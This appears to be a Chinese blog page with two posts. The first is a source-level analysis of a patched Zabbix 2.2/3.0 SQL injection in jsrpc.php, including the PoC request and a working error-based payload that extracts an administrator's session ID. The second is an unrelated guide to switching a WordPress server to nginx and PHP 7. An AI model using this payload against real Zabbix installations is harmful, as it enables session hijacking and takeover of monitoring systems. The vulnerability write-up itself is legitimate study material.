0x00

=========================================
Title: Zabbix 3.0.3 SQL Injection Vulnerability
Product: Zabbix
Vulnerable Version(s): 2.2.x, 3.0.x
Fixed Version: 3.0.4
Homepage: http://www.zabbix.com
Patch link: https://support.zabbix.com/browse/ZBX-11023
Credit: 1N3@CrowdShield
==========================================

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

0x01

公布的poc如下:

/zabbix/jsrpc.php?
sid=0bcd4ade648214dc
&type=9
&method=screen.get
&timestamp=1471403798083
&mode=2
&screenid=
&groupid=
&hostid=0
&pageFile=history.php
&profileIdx=web.item.graph
&profileIdx2=2'3297 //注入点
&updateProfile=true
&screenitemid=
&period=3600
&stime=20160817050632
&resourcetype=17
&itemids%5B23297%5D=23297
&action=showlatest
&filter=
&filter_task=
&mark_color=1

打开jsrpc.php,由于method是screen.get,我们定位到case ‘screen.get’:

switch ($data['method']) {
	case 'host.get':
		...
	case 'message.mute':
		...
	case 'message.unmute':
		...
	case 'message.settings':
		...
	case 'message.get':
		...
	case 'message.closeAll':
		...
	case 'zabbix.status':
		...
	case 'screen.get': //只执行此段代码
		$result = '';
		$screenBase = CScreenBuilder::getScreen($data);
		if ($screenBase !== null) {
			$screen = $screenBase->get();

			if ($data['mode'] == SCREEN_MODE_JS) {
				$result = $screen;
			}
			else {
				if (is_object($screen)) {
					$result = $screen->toString();
				}
			}
		}
		break;
	case 'multiselect.get': 
		... 
	default: fatal_error('Wrong RPC call to JS RPC!'); }

	...
require_once dirname(__FILE__).'/include/page_footer.php';

打开CScreenBuilder.php,定位profileIdx2

public function __construct(array $options = []) {
		$this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true;
		$this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW;
		$this->timestamp = !empty($options['timestamp']) ? $options['timestamp'] : time();
		$this->hostid = !empty($options['hostid']) ? $options['hostid'] : null;

		// get page file
		if (!empty($options['pageFile'])) {
			$this->pageFile = $options['pageFile'];
		}
		else {
			global $page;
			$this->pageFile = $page['file'];
		}

		// get screen
		if (!empty($options['screen'])) {
			$this->screen = $options['screen'];
		}
		elseif (array_key_exists('screenid', $options) && $options['screenid'] > 0) {
			$this->screen = API::Screen()->get([
				'screenids' => $options['screenid'],
				'output' => API_OUTPUT_EXTEND,
				'selectScreenItems' => API_OUTPUT_EXTEND,
				'editable' => ($this->mode == SCREEN_MODE_EDIT)
			]);

			if (!empty($this->screen)) {
				$this->screen = reset($this->screen);
			}
			else {
				access_deny();
			}
		}

		// calculate time
		$this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';
		//判断profileIdx2是否为空
		$this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;
		$this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

		$this->timeline = CScreenBase::calculateTime([
			'profileIdx' => $this->profileIdx,
			//这里把数据传入CScreenBase::calculateTime
			'profileIdx2' => $this->profileIdx2,
			'updateProfile' => $this->updateProfile,
			'period' => !empty($options['period']) ? $options['period'] : null,
			'stime' => !empty($options['stime']) ? $options['stime'] : null
		]);
	}

数据已经传到CScreenBase::calculateTime,打开CScreenBase.php

找到calculateTime()

	public static function calculateTime(array $options = []) {
		
		// period
		if (empty($options['period'])) {
			...// period非空
		}
		else {
			if ($options['period'] < ZBX_MIN_PERIOD) {
				...// ZBX_MIN_PERIOD = 60
			}
			elseif ($options['period'] > ZBX_MAX_PERIOD) {
				...// ZBX_MAX_PERIOD = 63072000
			}
		}
		if ($options['updateProfile'] && !empty($options['profileIdx'])) {
			CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
		}
		...
	}
}

传入到了CProfile::update

	public static function update($idx, $value, $type, $idx2 = 0) {
		// $idx = web.item.graph.period
		// $value = 3600
		// $type = $profileIdx2
		// $idx2 = 0
		... // 一些检查

		$profile = [
			'idx' => $idx,
			'value' => $value,
			'type' => $type,
			'idx2' => $idx2
		];

		$current = self::get($idx, null, $idx2);
		if (is_null($current)) {
			if (!isset(self::$insert[$idx])) {
				self::$insert[$idx] = [];
			}
			self::$insert[$idx][$idx2] = $profile;
		}
		else {
			if ($current != $value) {
				if (!isset(self::$update[$idx])) {
					self::$update[$idx] = [];
				}
				self::$update[$idx][$idx2] = $profile;
			}
		}

		if (!isset(self::$profiles[$idx])) {
			self::$profiles[$idx] = [];
		}

		self::$profiles[$idx][$idx2] = $value;
	}

发现并没有对数据库进行操作

再回到jsrpc.php的最后一行

require_once dirname(__FILE__).'/include/page_footer.php';

打开page_footer.php

if (CProfile::isModified()) {
	DBstart();
	$result = CProfile::flush();
	DBend($result);
}

打开CProfile.php

	public static function isModified() {
		return (self::$insert || self::$update);
	}// self::$insert == self::$insert == []
	
	...

		// $idx = web.item.graph.period
		// $value = 3600
		// $type = $profileIdx2
		// $idx2 = 0

	public static function flush() {
		$result = false;

		if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
			$result = true;

			foreach (self::$insert as $idx => $profile) {
				foreach ($profile as $idx2 => $data) {//这里就是注入发生的地方
					$result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
				}//insertDB(web.item.graph.period, 3600, $profileIdx2, 0)
			}

			ksort(self::$update);
			foreach (self::$update as $idx => $profile) {
				ksort($profile);
				foreach ($profile as $idx2 => $data) {
					$result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);
				}
			}
		}

		return $result;
	}

		...
	//insertDB(web.item.graph.period, 3600, $profileIdx2, 0)
	private static function insertDB($idx, $value, $type, $idx2) {
		$value_type = self::getFieldByType($type);

		$values = [
			'profileid' => get_dbid('profiles', 'profileid'),
			'userid' => self::$userDetails['userid'],
			'idx' => zbx_dbstr($idx),
			$value_type => zbx_dbstr($value),
			'type' => $type,
			'idx2' => $idx2
		];
		// implode()为连接字符串函数
		// array_keys()为获取键名函数
		// INSERT INTO profiles (
		// implode(', ', array_keys($values))
		// ) VALUES (
		// implode(', ', $values)
		// )
		return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
	}

并没有对参数做任何的过滤,导致了注入的发生,可以直接爆出管理员的session

Exp为

(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

0x00

前些天刚在自己的云主机上建立的wordpress不到一天,就出现了这样的错误

发现是apache占用内存太多,导致mysql自动关闭,从而无法连接数据库,想着通过调整apache配置来优化内存占用,后来发现没有用。

0x01

解决的办法是,把apache换成nginx

apt-get install nginx

nginx安装成功之后,遇到了cpu占用过高的问题,查看进程都是php-fpm在使用,而且无论设置中开了多少个,都能全部把内存吃满,解决的办法是重装

apt-get remove php5-fpm
apt-get install php5-fpm

0x02

建议安装php7进一步减少cpu消耗。

/etc/apt/sources.list添加下面两行:

deb http://packages.dotdeb.org jessie all
deb-src http://packages.dotdeb.org jessie all

添加gpg key:

wget https://www.dotdeb.org/dotdeb.gpg
sudo apt-key add dotdeb.gpg

安装

sudo apt-get update
sudo apt-get install php7.0

百度搜出来的好多php7安装教程都不靠谱

重启php7

service php7.0-fpm restart

0x03

至此,网站就成功运行起来了,目前状态良好

小内存主机切记远离apache

我的建议,小内存主机安装的服务应为,linux + nginx + mysql +php7 , 一开始就按这样装的话可能会省去一些不必要的麻烦